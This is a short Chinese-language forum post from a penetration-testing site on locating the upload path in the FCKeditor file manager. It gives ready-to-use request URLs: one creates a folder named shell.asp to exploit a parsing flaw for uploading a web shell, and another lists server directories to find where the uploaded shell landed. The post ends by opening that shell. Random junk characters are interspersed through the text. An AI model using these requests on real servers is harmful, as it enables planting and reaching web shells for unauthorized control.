中国网络渗透测试联盟

标题: fckeditor找上传路径方法 [打印本页]
作者: admin    时间: 2013-10-17 19:37
标题: fckeditor找上传路径方法
网上流行着是上传是这样子的- b1 K/ _+ Z$ _! K8 T5 J9 r

1 d( ]2 d, R( p1 P/ j6 lhttp://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
" O4 t' c4 e: ~6 dhttp://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684( a1 S6 R3 i4 C: F* M: d& g
* X9 f5 s( S2 @7 i# X1 B; }
上传后老找不到路径，测了一下，我发现
  w1 X- u  F  Z. B; u% q/ D6 A; x. `9 O# X2 }) W
FCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
" L- i; d2 s. y" v. X  X
2 G1 L3 Q+ M  P可以爆出路径，显示以下内容
: E8 P7 I/ w# i- F6 W5 ~! Y& o' \' u3 }* o* t

0 b3 C; h* k( P  k3 ]; `得出路径，直接打开就见到马子
, h4 t3 Z. e$ @



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2